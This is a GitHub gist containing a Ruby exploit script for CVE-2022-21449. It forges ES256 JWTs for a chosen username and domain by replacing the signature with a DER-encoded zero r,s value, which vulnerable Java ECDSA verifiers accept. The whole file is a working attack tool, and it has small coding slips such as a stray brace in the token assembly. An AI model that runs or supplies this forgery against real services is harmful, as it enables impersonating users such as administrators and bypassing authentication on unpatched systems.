Last active
August 7, 2023 14:29
-
-
Save dualfade/e72a79f9d2c859b6f84ec2216e69d1ad to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# cve-2022-21449 | |
# dualfade -- | |
# rewrite in ruby 3 -- | |
# imports -- | |
require 'bundler/inline' | |
require 'ecdsa/signature' | |
require 'ecdsa/format' | |
gemfile do | |
source 'https://rubygems.org' | |
gem 'uri', require: true | |
gem 'jwt', require: true | |
gem 'slop', require: true | |
gem 'base64', require: true | |
end | |
# logger -- | |
# https://bit.ly/3uDrWiz -- | |
require 'logger' | |
# TODO: make global instance -- | |
# https://www.codecademy.com/resources/docs/ruby/variables -- | |
logger = Logger.new($stdout) | |
original_formatter = Logger::Formatter.new | |
logger.formatter = proc { |severity, datetime, progname, msg| | |
original_formatter.call(severity, datetime, progname, msg.dump) | |
} | |
def create_es256_token(user, domain) | |
# create token; split out encoded jwt -- | |
logger = Logger.new($stdout) | |
# ecdsa opts -- | |
ecdsa_key = OpenSSL::PKey::EC.new 'prime256v1' | |
ecdsa_key.generate_key | |
ecdsa_public = OpenSSL::PKey::EC.new ecdsa_key | |
ecdsa_public.private_key = nil | |
# payload -- | |
email = "#{user}@#{domain}" | |
payload = { "sub": email } | |
# enc / dec -- | |
token = JWT.encode payload, ecdsa_key, 'ES256' | |
logger.info(token) | |
decoded_token = JWT.decode token, ecdsa_public, true, { algorithm: 'ES256' } | |
logger.info(decoded_token) | |
token | |
end | |
def ecdsa_encode_der | |
# re encode r,s SECP256k1; return -- | |
# https://bit.ly/3NKHgRa -- | |
# https://bit.ly/3yaHtal -- | |
logger = Logger.new($stdout) | |
sig = ECDSA::Signature.new(0, 0) | |
logger.info(format('s, r sig; inspect => %s', sig.inspect)) | |
# derify the sig -- | |
der = ECDSA::Format::SignatureDerString.encode(sig) | |
b64_der = Base64.strict_encode64(der) | |
end | |
def forge_signature(token, b64_der) | |
# replace signature with forged b64 -- | |
logger = Logger.new($stdout) | |
t = token.split('.') | |
u = (t[0]) | |
c = (t[1]) | |
alg_claims = "#{u}.#{c}}" | |
# create final jwt -- | |
forged_jwt = URI.encode_www_form_component("#{alg_claims}.#{b64_der}") | |
logger.info(format('forged jwt -> %s', forged_jwt)) | |
end | |
# errors -- | |
def error(message) | |
# logger; new instance obj -- | |
logger = Logger.new($stdout) | |
logger.info(format('%s', message)) | |
end | |
# main -- | |
if __FILE__ == $PROGRAM_NAME | |
# getopts -- | |
# https://bit.ly/3OBPyfg -- | |
logger.info('starting exploit') | |
begin | |
opts = Slop.parse do |o| | |
o.string('-u', '--username', 'user: admin') | |
o.string('-d', '--domain', 'domain: example.com') | |
o.on('-h', '--help', 'help: this menu') do | |
puts(o) | |
exit | |
end | |
end | |
# error check; stdout -- | |
exit logger.error('exit => missing username') if opts[:username].nil? | |
exit logger.error('exit -> missing domain') if opts[:domain].nil? | |
# p(opts.to_hash) | |
user = (opts[:username]) | |
domain = (opts[:domain]) | |
logger.info(format('genrating jwt for => u: %s d: %s', user, domain)) | |
# token -- | |
token = create_es256_token(user, domain) | |
b64_der = ecdsa_encode_der | |
forge_signature(token, b64_der) | |
rescue Slop::Error => e | |
logger.error(e) | |
rescue StandardError => e | |
logger.error(e) | |
end | |
else | |
puts('placeholder') | |
end | |
# __EOF__ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment